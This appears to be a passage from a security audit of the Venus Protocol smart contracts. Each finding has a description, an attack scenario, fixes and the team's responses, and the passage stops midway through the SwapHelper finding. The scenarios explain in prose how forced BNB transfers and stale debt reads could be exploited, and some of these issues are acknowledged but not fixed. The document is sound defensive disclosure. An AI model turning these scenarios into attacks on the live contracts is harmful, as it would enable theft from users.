Unlisting is the final stage in the asset delisting process. Both the Venus team and the risk providers continuously monitor the market for months, and in some cases even years, before proceeding with an unlisting. The process is executed gradually to safely reduce user exposure and simplify accounting. Typically, the flow starts by pausing new borrows and supplies, followed by adjustments such as increasing interest rates or protocol reserve factors to encourage position closure. Only once there are effectively no remaining user funds or activity is the market fully unlisted. The current process is intentionally slow and conservative, and every step is executed through governance with corresponding community posts to ensure transparency.

VLC-48 Partial Flash Loan Repayment Clears Active Loan Accounting Before Debt Accrual

Category	Severity	Location	Status
Design Issue	Medium	venus-protocol-2f3c0cdb884e60dcaab240f56d764e4d839de6a3/contracts/Comptroller/Diamond/facets/FlashLoanFacet.sol (Update 1 06_01_2026): 294~313; venus-protocol-2f3c0cdb884e60dcaab240f56d764e4d839de6a3/contracts/Tokens/VTokens/VToken.sol (Update 1 06_01_2026): 434~435	Resolved

Description

The `FlashLoanFacet` contract supports flash loans where the receiver can repay either the full borrowed amount plus fees, or only part of it. Any unpaid amount is later converted into a borrow position through the `VToken.flashLoanDebtPosition()` function.

The issue is in the ordering between `VToken.transferInUnderlyingFlashLoan()` and `VToken.flashLoanDebtPosition()`. Specifically, `VToken.accrueInterest()` calculates utilization using `_getCashPriorWithFlashLoan()`, which adds `flashLoanAmount` to the market cash while a flash loan is active. This is intended to avoid artificially high utilization while flash-loaned funds are temporarily outside the market.

However, `transferInUnderlyingFlashLoan()` resets `flashLoanAmount` to zero before `flashLoanDebtPosition()` is called. In the partial repayment case, the unpaid flash-loan amount is still missing from market cash, but has not yet been added to `totalBorrows`. If `flashLoanDebtPosition()` then calls `accrueInterest()`, the interest accrual may use an artificially high utilization rate and overcharge existing borrowers.

This scenario assumes the flash-loan receiver callback does not trigger a successful `accrueInterest()` on the affected market before repayment handling begins. If the callback already accrues the market in the same block, the later `flashLoanDebtPosition()` accrual exits early without recalculating interest. Therefore, reachability depends on whitelisted receiver behavior, but the accounting invariant should not rely on receivers accruing the market first.

Scenario

We assume:

1. A market has `1,000` underlying cash and `500` total borrows.
2. A whitelisted flash-loan caller borrows `1,000` underlying from the market.
3. `transferOutUnderlyingFlashLoan()` sets `flashLoanAmount = 1,000` and transfers the cash out.
4. The receiver only repays part of the flash loan during Phase 3.
5. `transferInUnderlyingFlashLoan()` receives the partial repayment and then clears `flashLoanAmount = 0`.
6. The unpaid amount has not yet been added to `totalBorrows`.

7. `_handleFlashLoan()` calls `flashLoanDebtPosition()` for the unpaid balance.
8. `flashLoanDebtPosition()` calls `accrueInterest()`.
9. `accrueInterest()` now sees reduced cash and no corresponding borrow for the unpaid flash-loan amount.
10. Utilization is calculated too high, causing excessive interest accrual for existing borrowers.

Recommendation

We recommend that client implement one of the following:

1. **Recommended.** Accrue interest **before any underlying leaves the market** — in `transferOutUnderlyingFlashLoan()`, *before* `doTransferOut()` and *before* `flashLoanAmount` is set. At that point `getCashPrior()` is the full pre-loan cash, so the accrual rate is correct directly, with no cash adjustment. The market is then fresh for the block, so the later accrual in `flashLoanDebtPosition()` short-circuits and `borrowFresh()` books the debt at the correct index.

2. **Alternative.** Keep the accrual where it is, inside `flashLoanDebtPosition()`, but stop zeroing `flashLoanAmount` in `transferInUnderlyingFlashLoan()`; instead set it to the amount still outstanding after repayment (`loanedOut - repaidBack + protocolFee`) and clear it only after `borrowFresh()` records the debt. This restores the pre-loan cash via the existing `_getCashPriorWithFlashLoan()` adjustment and touches only the partial-repayment path, but requires computing the residual amount correctly.

Final Note. In both cases the invariant is that, during accrual, the unpaid amount is reflected only as a cash adjustment — restoring cash to its pre-loan level — and is not yet present in `totalBorrows`; adding it to `totalBorrows` beforehand applies an inflated rate retroactively to the elapsed interval and over-charges existing borrowers.

If implementing the alternative, the cash adjustment must restore the denominator only. The following example may used as a guideline for the final solution. Let `C` be the pre-loan cash, `B` the existing `totalBorrows`, `R` the `totalReserves`, and `L` the unpaid balance; with `C = 100`, `B = 50`, `R = 0`, `L = 10`:

Basis at accrual	cash	borrows	utilization
Cash restored via `flashLoanAmount` (correct)	`C` = 100	`B` = 50	50 / 150 = 33%
Cash left depleted (current behaviour)	`C - L` = 90	`B` = 50	50 / 140 = 36%
`L` added to `totalBorrows` (also incorrect)	`C - L` = 90	`B + L` = 60	60 / 150 = 40%

Alleviation

[CertiK, 06/10/2026]: The team heeded the advice and resolved the issue by accruing interest before the flash-loaned funds leave the market, ensuring interest is calculated from the correct pre-loan market state before any partial repayment is later

converted into debt, in commits b7dded3f19f207344dc53e547f942b70b9fdee6f15e8d0c8933d689777d25091 and f204df6909d7d06bcc3fc34eda8e0ccb9196f4f4.

VLC-10 Forced Native Transfers Can Distort `vBNB` Exchange-Rate Accounting In Attacker-Dominated Low-Supply Markets

Category	Severity	Location	Status
Financial Manipulation	Minor	contracts/Tokens/VTokens/VBNB.sol (core 3c4d06f): 46~48, 142~162; contracts/Tokens/VTokens/VToken.sol (core 3c4d06f): 902~929, 1853~1881; contracts/Utils/Exponential.sol (core 3c4d06f): 123~128	Acknowledged

Description

The current codebase mitigates donation-based cash inflation for `VBep20` markets by replacing raw token-balance accounting with `internalCash`. However, the native `vBNB` market still derives its cash value from the contract's actual BNB balance.

Specifically, `VToken.exchangeRateStoredInternal()` uses `getCashPrior()` as part of the exchange-rate calculation. In `VBNB.sol`, `VBNB.getCashPrior()` returns `address(this).balance - msg.value`, so any increase in the contract's native BNB balance is treated as additional market cash even if no corresponding `vBNB` shares were minted.

This creates a residual native-asset accounting inconsistency. Although a normal direct BNB transfer to `vBNB` is routed through `VBNB.receive()` and therefore enters the regular mint flow, a **forced native transfer** such as `selfdestruct` can increase `address(this).balance` without executing `mint` logic and without increasing `totalSupply`.

As a result:

- market cash increases
- `totalSupply` does not increase
- the exchange rate rises artificially

That inflated exchange rate then affects `VToken.mintFresh()`, which computes minted shares using truncating division:

- `mintTokens = actualMintAmount / exchangeRate`

The mint path does not enforce `mintTokens > 0` and does not revert if the result truncates to zero, or to a very low value.

This code path is real, but its practical exploitability is limited. If no `vBNB` has been minted yet, the market uses the fixed initial exchange rate because `totalSupply == 0`. In that state, forced BNB sent to the contract does not affect the mint price.

The exchange-rate distortion only becomes relevant after the market already has an existing share supply, because once `totalSupply > 0`, `exchangeRateStoredInternal()` begins using market cash in its calculation. As a result, a value-capture scenario requires an already-active native market with pre-existing `vBNB` holders.

In addition, a forced BNB donation does not by itself create attacker profit. It primarily transfers value to existing `vBNB` holders pro rata. For the attacker to capture meaningful value from a later depositor, the existing seeded share base would

need to be both:

- very small, and
- highly concentrated in the attacker's control

Accordingly, this issue is better understood as a residual hardening gap in native-market cash accounting, with practical exploitability limited to seeded, very low-supply native markets where existing ownership is already highly concentrated in the attacker's favor. It is not a strong practical exploit against the currently deployed mature `vBNB` market.

However, this can lead to:

- exchange-rate distortion from unsolicited native balance changes
- inconsistent treatment between patched `VBep20` markets and native `vBNB`
- potential zero-share or near-zero-share mint value-capture edge cases in seeded, attacker-dominated, low-supply native markets

Scenario

We assume:

1. The market is already seeded, so `vBNB` shares already exist.
2. Existing `vBNB` ownership is highly concentrated, and the attacker controls most of the outstanding share supply.
3. The attacker deploys a helper contract funded with BNB.
4. The helper contract force-sends BNB to `vBNB` via `selfdestruct`, increasing `vBNB`'s native balance without calling `mint`.
5. `VBNB.getCashPrior()` now observes higher cash, so the exchange rate rises while `totalSupply` remains unchanged.
6. A later user deposits BNB through the normal mint flow.
7. If the exchange rate has been inflated enough relative to the small existing share base, `VToken.mintFresh()` can truncate the mint result so the depositor receives zero or only negligible `vBNB`.
8. Because the seeded share base is already concentrated, the economic benefit of that later deposit remains primarily attributable to the attacker's pre-existing holdings.

Recommendation

We recommend aligning `vBNB` cash accounting with the updated `VBep20` design by introducing an internal cash ledger for native BNB balances. Rather than deriving cash from `address(this).balance`, the market should track cash explicitly through protocol-controlled inflows and outflows, updating the internal variable during `doTransferIn()` and `doTransferOut()` and using that tracked value in `getCashPrior()` function.

This would make `vBNB` resistant to forced native transfers that increase the contract balance without corresponding share issuance, eliminating the root cause of exchange-rate distortion from unsolicited BNB.

As additional hardening, we recommend adding a minimum-share safeguard in the mint path so the transaction reverts when a mint would produce `0` shares. If stronger protection against economically negligible mints is desired, the protocol may

also consider a higher minimum mint threshold or virtual shares / virtual assets in the exchange-rate model.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The vBNB market currently has sufficient liquidity, which makes the attack economically unprofitable and likely loss-making, reducing its practical usefulness. Once liquidity decreases over time, the market will continue to be closely governed and monitored. Additionally, the vBNB contract is non-upgradeable, which is why applying an internal logic upgrade is not possible. Additionally, the previous donation attack was possible because it relied on DEX price manipulation, which is significantly less practical in the case of BNB due to its deep liquidity.

VLC-11 | Missing `maxAssets` Enforcement

Category	Severity	Location	Status
Design Issue	Minor	contracts/Comptroller/ComptrollerStorage.sol (core 3c4d06f): 51~54	Resolved

Description

The `maxAssets` variable at `ComptrollerStorage` contract defines a per-account market membership limit, but the current market entry logic does not enforce this constraint when updating the `accountAssets` mapping. The variable establishes an expectation that an account cannot join more than the configured number of markets. However, `FacetBase.addToMarketInternal()` appends new market memberships without verifying whether the account has already reached the `maxAssets` threshold. Both explicit market entry and implicit enrollment through `PolicyFacet.borrowAllowed()` can therefore add markets beyond the intended limit.

This introduces a direct mismatch between a declared protocol constraint and the actual runtime behaviour. The `maxAssets` variable exists as a stored configuration parameter, but `FacetBase.addToMarketInternal()` does not reference or enforce it before mutating membership state. Thus the protocol can record more market memberships than the configured limit implies.

Venus computes account liquidity by iterating over all markets returned by `FacetBase.getAssetsIn()`, including markets where the account has no active supply or borrow position. An account can therefore accumulate a large number of inactive memberships, increasing the cost of liquidity and solvency checks across `PolicyFacet.borrowAllowed()`, redeem flows, transfer validations, market exit checks, and liquidation eligibility paths. Because account liquidity checks iterate all entered markets, a borrower can deliberately grow market memberships and materially increase gas consumption on liquidation and exit paths, increasing the cost of liquidating that account and making otherwise viable liquidations economically unattractive.

Recommendation

We recommend that the implementation of account market membership strictly enforces the `maxAssets` limit defined in `ComptrollerStorage.maxAssets`. Specifically, `FacetBase.addToMarketInternal()` should check the current number of an account's recorded market memberships against `maxAssets` and revert if adding a new market would exceed the configured threshold. If the intended design no longer relies on a hard membership cap, the protocol should instead update the documentation to clarify that `ComptrollerStorage.maxAssets` is deprecated or unused, and remove the variable entirely in a future cleanup to avoid a misleading configuration surface.

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by documenting that `maxAssets` is no longer used, removing the misleading "capped by maxAssets" language from `accountAssets`, and making `maxAssets` private so it no longer appears to be an enforced runtime limit, in commits `0bb0f6dca1fcc0e88a2a9b19e7c1e29f181471ed` and `f902429706f90dff251d81f89de20d2892330fea`, in commits f902429706f90dff251d81f89de20d2892330fea and 0bb0f6dca1fcc0e88a2a9b19e7c1e29f181471ed.

VLC-12 Zero-Price Entered Markets Can Block Liquidation Of Undercollateralized Accounts

Category	Severity	Location	Status
Volatile Code	Minor	contracts/Lens/ComptrollerLens.sol (core 3c4d06f): 218~219	Resolved

Description

`_calculateAccountPosition()` iterates over every market in `getAssetsIn()` and unconditionally calls `oracle.getUnderlyingPrice()` before checking the borrower's balances. If any entered market's oracle is unavailable, `ResilientOracle._getPrice()` reverts and propagates through `liquidateBorrowAllowed` . The narrow impact is on borrowers who entered a market without holding any supply or borrow there: their unrelated debt becomes unliquidatable while that market's oracle is degraded, even though the zero-balance market contributes nothing to collateral or debt.

Recommendation

We recommend that the client skip the oracle fetch and accumulation steps when `vTokenBalance == 0 && borrowBalance == 0` for an asset that is not the `vTokenModify` target, so zero-balance entered markets no longer gate liquidity computations.

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by updating `_calculateAccountPosition()` to skip entered markets where the account has neither supply nor debt, unless the market is the one being modified, preventing zero-balance market memberships from unnecessarily gating liquidity and liquidation checks, in commit 4515723ff52633ee13ced6faef7d9da244462a21l.

[CertiK, 06/16/2026]: The team subsequently relocated the zero-balance market skip to just after the risk-factor and exchange-rate assignments, in commit 734cbd9c07c45b798a83d3aaddd9623cc2c7e34c. The relocation is behaviour-preserving: the skip still short-circuits before any oracle price read and before liquidity accumulation, so the resolution of VLC-12 is unaffected. The fields populated ahead of the skip are loop-local scratch values that are re-derived on each iteration and are not consumed from the returned struct. Thus, the reordering has no material effect on the outcome.

VLC-13 Incorrect `redeemAmount` Calculation In `_handleExitSingleAsset` Causes Unnecessary Collateral Over-Redemption

Category	Severity	Location	Status
Incorrect Calculation, Logical Issue	Minor	contracts/LeverageManager/LeverageStrategiesManager.sol (periphery): 637~668	Acknowledged

Description

The `LeverageStrategiesManager._handleExitSingleAsset()` function correctly caps debt repayment to the user's actual outstanding borrow balance, but it does not apply the same cap when determining how much collateral to redeem. Instead, the function derives the repayment-side redemption amount from the full `flashloanedCollateralAmount + collateralAmountFees`, even when part of the flash-loaned amount was never needed because the real debt was smaller.

When the flash-loan request exceeds `market.borrowBalanceCurrent(onBehalf)`, the unused flash-loan buffer remains in the contract after repayment but is still implicitly treated as if it must be sourced again from the user's supplied collateral. This causes the exit flow to redeem more collateral than is actually required to settle the flash loan. If `COMPTROLLER.treasuryPercent() > 0`, the excess redemption can also impose avoidable redemption-related fee loss on the unnecessary portion.

The retained flash-loan remainder already remains in the contract after repayment, but the redemption path does not account for it when computing how much collateral must be sourced from the user's supplied position. As a result, the function redeems collateral against an overstated repayment requirement and unwinds more of the user's leveraged Venus position than is actually necessary.

Thus, users exiting single-asset leveraged positions can lose more supplied collateral than required when they request a flash-loan amount that exceeds their actual debt at execution time. The excess collateral is unnecessarily redeemed from the user's Venus position and later returned as idle underlying dust instead of remaining supplied. Where treasury-based redemption fees apply, users may also incur avoidable fee loss on the excess redeemed amount.

Scenario

We assume:

1. A user calls `exitSingleAssetLeverage()` with a buffered flash-loan request of `550`.
2. At execution time, the user's actual outstanding debt is only `500`.
3. `_handleExitSingleAsset()` correctly repays only `500` through `market.repayBorrowBehalf(onBehalf, repayAmount)`.
4. The unused `50` flash-loan buffer remains in the contract and is already available to help settle the flash loan.
5. Despite that, the function still computes `redeemAmount` from `550 + collateralAmountFees`, as if the full flash-loaned amount had to be sourced from the user's supplied collateral.

6. The contract therefore redeems more collateral than is actually necessary from the user's Venus position.
7. If `COMPTROLLER.treasuryPercent() > 0`, the inflated redemption amount is also grossed up for treasury, causing the user to incur avoidable fee loss on the unnecessary excess redemption.

Recommendation

We recommend calculating the collateral redemption amount from the actual post-repayment settlement shortfall rather than from the full flash-loaned amount. In particular, `LeverageStrategiesManager._handleExitSingleAsset()` could account for any unused flash-loan remainder already retained by the contract and redeem only the amount of collateral that is truly required to cover the flash-loan repayment and applicable fees. This would avoid unnecessarily unwinding extra user collateral and prevent avoidable fee-bearing redemption on the excess amount.

Alleviation

[CertiK, 06/01/2026]: Issue acknowledged. I won't make any changes for the current version.

The frontend calculates the flash loan amount based solely on the amount required for execution, making it unlikely that excessively large flash loans would be requested in practice.

VLC-14 `accrueInterest()` Auto-Reduce Branch Is Missing A Zero-Address Guard On `protocolShareReserve` (Reserve Burn Or Freeze)

Category	Severity	Location	Status
Volatile Code	Minor	contracts/Tokens/VTokens/VToken.sol (core 3c4d06f): 667~675	Acknowledged

Description

The auto-reduce branch in `accrueInterest()` fires whenever `blockDelta >= reduceReservesBlockDelta`. Because `initialize()` leaves `reduceReservesBlockDelta`, `reduceReservesBlockNumber`, and `protocolShareReserve` at zero, the branch fires on every call from deployment onward and calls `_reduceReservesFresh()` with `protocolShareReserve == address(0)` as soon as the market has nonzero cash and reserves. No zero-address guard is present, and the post-transfer call `IProtocolShareReserve(...).updateAssetsState(...)` is void-returning so the compiler inserts no `extcodesize` check either.

The failure mode depends on the market: `VBep20` with an OZ-style underlying reverts inside the token's own `_transfer` and bricks every accrual-gated path; `VBep20` with a non-guarding underlying silently burns the reserve amount; `VBNB` silently burns BNB. The trip window is closed on live BSC markets where `setProtocolShareReserve()` was called during the upgrade ceremony, but any future fresh deployment that omits this step before reserves accrue will hit one of the three failure modes.

Recommendation

We recommend that the client consider the following steps:

1. Add `&& protocolShareReserve != address(0)` to the auto-reduce condition so the branch becomes a no-op while the recipient is unset.
2. Require setting `ProtocolShareReserve` to a non-zero address in the deployment runbook.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The block delta reduction and PSR address initialization steps are already documented in the market initialization runbook, which is followed for all new market listing VIPs.

VLC-15 | Stale VAI Debt Can Weaken The VAI-First Liquidation Policy

Category	Severity	Location	Status
Inconsistency	Minor	contracts/Liquidator/Liquidator.sol (core 3c4d06f): 478~479; contracts/Tokens/VAI/VAIController.sol (core 3c4d06f): 661~684, 755~765	Resolved

Description

The `Liquidator` wrapper is intended to enforce a policy that, once a borrower's VAI debt becomes large enough, VAI should be liquidated before other borrowed markets. That policy is implemented through `Liquidator._checkForceVAILiquidate()`, which is called at the beginning of the non-VAI liquidation flow and compares the borrower's VAI debt against the `minLiquidatableVAI` threshold. If the debt is at or above that threshold, the wrapper is supposed to block non-VAI liquidation and require VAI liquidation first.

However, `Liquidator._checkForceVAILiquidate()` reads the borrower's VAI debt from `vaiController.getVAIRepayAmount(borrower)` without first updating VAI interest. The `getVAIRepayAmount()` derives the borrower's repay amount from the stored `vaiMintIndex`, which is only updated when `VAIController.accrueVAIInterest()` is called. If VAI interest has accrued since the last update but has not yet been materialized into `vaiMintIndex`, the value returned by `getVAIRepayAmount()` can understate the borrower's actual VAI liability.

As a result, the liquidation gate can make its policy decision using stale VAI debt. A borrower's live VAI liability may already have crossed `minLiquidatableVAI`, while the stored value observed by `Liquidator._checkForceVAILiquidate()` still appears to be below the threshold. In that case, the wrapper can allow a non-VAI liquidation to proceed even though the intended policy should have required VAI liquidation first. This allows another debt market to consume collateral before VAI liquidation is enforced, weakening the intended VAI-first liquidation priority and leaving less collateral available for VAI-side recovery.

Scenario

We assume:

1. A borrower is already liquidatable for other reasons and also has outstanding VAI debt.
2. Accrued VAI interest causes the borrower's true live VAI liability to rise above `minLiquidatableVAI`.
3. `accrueVAIInterest()` has not been called recently, so `vaiMintIndex` remains stale.
4. A liquidator initiates a non-VAI liquidation path that reaches `_checkForceVAILiquidate`.
5. `_checkForceVAILiquidate` reads `vaiController.getVAIRepayAmount(borrower)`, which still reflects the stale `vaiMintIndex` and understates the borrower's actual VAI debt.
6. Because the reported VAI debt appears below `minLiquidatableVAI`, the wrapper incorrectly allows non-VAI liquidation to proceed.

7. Borrower collateral is consumed through another market even though the borrower's true VAI debt should have forced VAI liquidation first.

Recommendation

We recommend ensuring that, before evaluating whether VAI-first liquidation should be enforced within the non-VAI liquidation flow, the borrower's VAI debt reflects all accrued interest up to the current block. This can be achieved either by updating VAI interest accrual through an explicit call or by calculating the borrower's current VAI liability using the latest index values. This approach ensures liquidation prioritization accurately reflects the live VAI debt, maintains consistent enforcement of the intended VAI-first liquidation rule, and prevents stale borrow balances from allowing unintended non-VAI liquidations.

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by updating `Liquidator._checkForceVAILiquidate()` to accrue VAI interest before checking the borrower's VAI repay amount, ensuring the VAI-first liquidation policy is enforced against current debt rather than stale indexed debt, in commit 368ff7b8f5c548c05e4f50c35639922eedf25a76.

VLC-16 Ownership Initialization In Upgrade Flows Depends On Execution Context

Category	Severity	Location	Status
Volatile Code	Minor	contracts/Liquidator/Liquidator.sol (core 3c4d06f): 145, 158	Acknowledged

Description

`Liquidator.initialize()` calls an ownership initializer through `__Liquidator_init()` / `__Ownable2Step_init()`. In the OpenZeppelin version used by the project, this initialization assigns ownership based on the caller context.

If the initializer is reused during an upgrade flow, the resulting owner may depend on how the upgrade is executed.

Incorrect assumptions about initializer caller context can leave ownership assigned to an unexpected address and require a follow-up recovery or ownership transfer step.

Recommendation

We recommend documenting whether `initialize()` is intended only for first initialization or also for upgrade initialization. For any upgrade flow that calls ownership initializers, explicitly verify the resulting `owner()` after execution and transfer ownership to the intended governance address if needed.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

`initialize()` is intended to run exactly once during the first deployment of the Liquidator and is never re-executed during upgrades. The proxy admin upgrade flow only replaces the implementation contract without invoking initializers again, Additionally, reinitializer(2) has already been consumed, making another reinitialization impossible. Ownership is therefore unaffected during upgrades. We also ensure that all upgrade VIPs include proper validation of the owner configuration.

VLC-17 Pending Redemption Queue Can Delay Protocol-Share Liquidation Proceeds

Category	Severity	Location	Status
Denial of Service	Minor	contracts/Liquidator/Liquidator.sol (core 3c4d06f): 308~309, 313~327	Acknowledged

Description

When the Liquidator receives the protocol's share of seized collateral, it attempts to redeem the received vTokens into underlying before forwarding funds to `protocolShareReserve`. If redemption fails, the collateral market is added to `pendingRedeem`.

Later, `_reduceReservesInternal()` retries only the first `pendingRedeemChunkLength` entries in the queue. Entries that fail redemption remain in place, while successful entries are removed with swap-pop. If enough persistently failing entries occupy the processed prefix, later queued markets may not be retried even if their redemptions would succeed, potentially delaying protocol-share liquidation proceeds from reaching `protocolShareReserve`.

Recommendation

We recommend making pending redemption processing fair across the full queue. For example, by rotating failed entries to the back.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

It is very unlikely that a market would not have sufficient liquidity to redeem the protocol incentive portion, as these amounts are generally relatively small compared to overall market liquidity. Additionally, it is acceptable for the protocol to temporarily hold vTokens in such scenarios until the pending redeem entries at the front of the queue are eventually cleared.

VLC-18 Dust-Return Sweep Uses Raw Balance Instead Of Operation Deltas

Category	Severity	Location	Status
Volatile Code	Minor	contracts/LeverageManager/LeverageStrategiesManager.sol (periphery): 743~753	Resolved

Description

`_transferDustToInitiator()` reads `IERC20Upgradeable(market.underlying()).balanceOf(address(this))` and transfers the full amount to `operationInitiator`. It is balance-based rather than delta-based and does not distinguish remainders generated by the current operation from balances already present on the manager (accidental transfers, airdrops, rebase growth, residuals from earlier interactions). The first user whose leverage operation touches that market receives whatever is sitting on the contract.

The exploit shape is first-come-first-served scavenging, not active theft: the attacker cannot make tokens land on the manager, and active user funds in ongoing operations are not at risk. Strandings arrive episodically (accidents, airdrops, rebase growth), but any single event can deposit an arbitrarily large balance, so the realistic impact is bounded by external events rather than by any frequency cap.

Recommendation

The structurally correct fix is delta-tracking — snapshot `balanceOf(address(this))` per touched market before any external call and transfer only the positive delta at the end. However, this is timing-sensitive (a baseline captured too early counts the user's seed as "growth" and sweeps it back), and a botched rewrite would steal seed amounts — materially worse than the current behavior.

A simpler, lower-risk alternative is to leave `_transferDustToInitiator()` unchanged and add a governance-gated `sweepStranded(token, recipient)` for governance to reclaim stranded balances. Strandings arrive slowly enough that governance cadence is adequate. As an additional hardening (worthwhile if large strandings are a concern), pair this with a narrower `sweepStrandedToTreasury(token)` whose recipient is a hardcoded, immutable treasury address — so even a compromised caller can only route stranded value to the legitimate destination.

The team should weigh the regression risk of delta-tracking against the bounded realistic impact; the conservative recovery functions are recommended unless they are confident in the rewrite.

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by replacing raw-balance dust sweeping with delta-based accounting in `LeverageStrategiesManager`, returning only operation-generated balance increases to the initiator and adding an owner-only recovery path for genuinely stranded tokens. They further hardened the exit flow so pre-existing stray balances can no longer be consumed to satisfy repayment checks, in commits b8ad0b302ed4234c5ad302f8cc67e00ec8045ffc and e9b9ba7bf354b623ebcb50e4e1bb0d0ad6161fd3.

VLC-19 | `ChainlinkOracle` Uses Live Token Decimals For Price Scaling

Category	Severity	Location	Status
Volatile Code	Minor	contracts/oracles/ChainlinkOracle.sol (oracle): 120~123, 142~143	Acknowledged

Description

`ChainlinkOracle.getPrice()` reads the token's `decimals()` value at price-read time:

```
120         } else {
121             IERC20Metadata token = IERC20Metadata(asset);
122             decimals = token.decimals();
123         }
```

The returned value is then used to scale both Chainlink-fed prices and direct manual prices:

```
142         uint256 decimalDelta = 18 - decimals;
143         return price * (10 ** decimalDelta);
```

The oracle assumes the token's metadata decimals remain correct and stable after the asset is configured. If a listed token's `decimals()` value changes, the oracle will adopt the new value without detecting that it differs from the value assumed at onboarding.

Recommendation

We recommend storing the expected asset decimals when configuring the oracle and using the stored value to check metadata correctness during price reads.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

Assets are listed on Venus only after a full risk analysis conducted internally and together with our external risk analysis providers. It is therefore highly unlikely that a token with mutable decimals through an upgradeable contract would be onboarded without consideration. Additionally, even if a token were to change its decimals, it would not impact the protocol logic here, since the price is normalized according to the same token decimals (source) at the oracle response layer and consistently used in the same format throughout the protocol.

VLC-20 Temporary Low Exchange-Rate Snapshots Can Persist As Oracle Underpricing

Category	Severity	Location	Status
Volatile Code	Minor	contracts/oracles/common/CorrelatedTokenOracle.sol (oracle): 193 ~195, 222~224	Acknowledged

Description

`CorrelatedTokenOracle` uses a snapshot-based cap to limit how quickly a correlated token's exchange rate can increase. When snapshot mode is enabled, `updateSnapshot()` stores a new maximum exchange rate based on the lower of the live exchange rate and the previously allowed maximum, plus `snapshotGap`:

```
193         snapshotMaxExchangeRate =
194             (exchangeRate > maxAllowedExchangeRate ? maxAllowedExchangeRate :
exchangeRate) +
195             snapshotGap;
```

This helps prevent exchange-rate upward jumps, but it can also preserve temporary low readings. If `getUnderlyingAmount()` returns a temporarily depressed value and `updateSnapshot()` is called during that period, the reduced value can be written into `snapshotMaxExchangeRate`. After the upstream rate recovers, `getPrice()` may continue using the lower stored cap whenever the live exchange rate exceeds `maxAllowedExchangeRate`:

```
222         uint256 finalExchangeRate = (exchangeRate > maxAllowedExchangeRate &&
maxAllowedExchangeRate != 0)
223             ? maxAllowedExchangeRate
224             : exchangeRate;
```

As a result, the correlated token can remain underpriced until the cap grows over time or a later valid snapshot updates it.

In particular, if `getUnderlyingAmount()` returns `0` while `snapshotGap > 0`, `updateSnapshot()` stores `snapshotGap` instead of rejecting the raw zero value.

Recommendation

We recommend validating and constraining snapshot decreases by rejecting raw zero values from `getUnderlyingAmount()` before applying `snapshotGap`. Additionally, adding explicit bounds or governance-controlled rules for downward snapshot moves would also help prevent the issues described above.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

`getUnderlyingAmount` normally forwards the call through the Resilient Oracle, which already includes zero-price revert checks. These snapshot caps are specifically used for yield-bearing assets where the exchange rate increases over time, which is why only the upper-side cap is required here. The opposite-side manipulation scenarios are already usually handled within the exchange rate oracle logic itself. Additionally, risk team perform a full risk analysis for assets and their potential price manipulation vectors before integrating any oracle source into the protocol.

Also these usually used as collateral only (i.e. non-borrowable), so a temporarily undervalue is acceptable.

VLC-21 Pre-Existing `SwapHelper` Balances Are Credited As Swap Output, Inflating Venus Accounting For The Current Caller

Category	Severity	Location	Status
Volatile Code, Design Issue	Minor	contracts/SwapHelper/SwapHelper.sol (periphery): 198~199; contracts/SwapRouter/SwapRouter.sol (periphery): 489~490	Acknowledged

Description

At the end of a swap, `SwapHelper` returns the output tokens to its caller (`SwapRouter` or `LeverageStrategiesManager`) via `sweep(token, to)` . The caller then measures how much `tokenOut` arrived and credits that amount to the user's operation. The flaw is that `sweep()` transfers `SwapHelper` 's **entire balance** of the token — not just the swap output — and the caller cannot distinguish the two. Any `tokenOut` that happened to be sitting on `SwapHelper` before the call (from accidental ERC-20 transfers, donations, airdrops, or residual balances from previous activity) is included in the sweep and credited to the current user as if it were swap output.

Three independent properties combine to enable this. First, `sweep()` takes no amount parameter and always transfers `token.balanceOf(address(this))` . Second, the EIP-712 multicall digest commits to the encoded `calls[]` but does not bind a sweep amount, so the signature places no upper bound on how much actually moves. Third, the wrappers compute `amountOut = balanceAfter - balanceBefore` on themselves, which conflates swap output with any other `tokenOut` arriving from the helper. The wrappers then feed the inflated `amountOut` into Venus actions (supply, repay, leverage sizing), so the user receives extra vToken collateral, extra debt reduction, or a larger leverage position than their actual swap warranted. > This is structurally the same flaw as the dust-sweep accounting issue raised separately for `LeverageStrategiesManager` (where `_transferDustToInitiator()` sweeps `balanceOf` rather than a per-operation delta), but one layer up the stack — where Venus accounting amplifies the harm because the misattributed tokens are credited as collateral or debt reduction rather than transferred directly.

In steady state, `SwapHelper` 's per-token balance should converge to zero between operations, so realistic exposure depends on external events depositing tokens there. The attacker cannot make tokens land on the helper, but a single accidental transfer or airdrop can deposit an arbitrarily large balance for the next caller to scoop.

Scenario

Suppose `SwapHelper` is holding **1 000 USDC** (e.g., say Bob made a typo and transferred USDC to the helper). `SwapRouter` holds **0 USDC**.

1. Another user, Alice, calls `SwapRouter.swapNativeAndSupply(vUSDC, ..., swapCallData)` with `msg.value = 1 BNB` .
2. `SwapRouter` records its balance: `balanceBefore = USDC.balanceOf(SwapRouter) = 0` . **Crucially, SwapRouter cannot see the 1 000 USDC sitting on `SwapHelper` — those are on a separate contract.**
3. `SwapRouter` wraps to 1 WBNB, transfers it to `SwapHelper` , and calls `SwapHelper.multicall(...)` with a backend-signed payload.

4. Inside `SwapHelper`: the swap produces 300 USDC. After the swap, `SwapHelper` holds **1 000 + 300 = 1 300 USDC**. `SwapRouter` still holds **0 USDC**.
5. The signed payload ends with `sweep(USDC, SwapRouter)`. `sweep()` reads its own balance (`1 300`) and transfers all of it. After this step: `SwapHelper` holds **0 USDC**; `SwapRouter` holds **1 300 USDC**.
6. Back in `SwapRouter._performSwap()`: `balanceAfter = 1 300`, so `amountOut = 1 300 - 0 = 1 300`.
7. `SwapRouter` supplies **1 300 USDC** to `vUSDC` on behalf of the user.

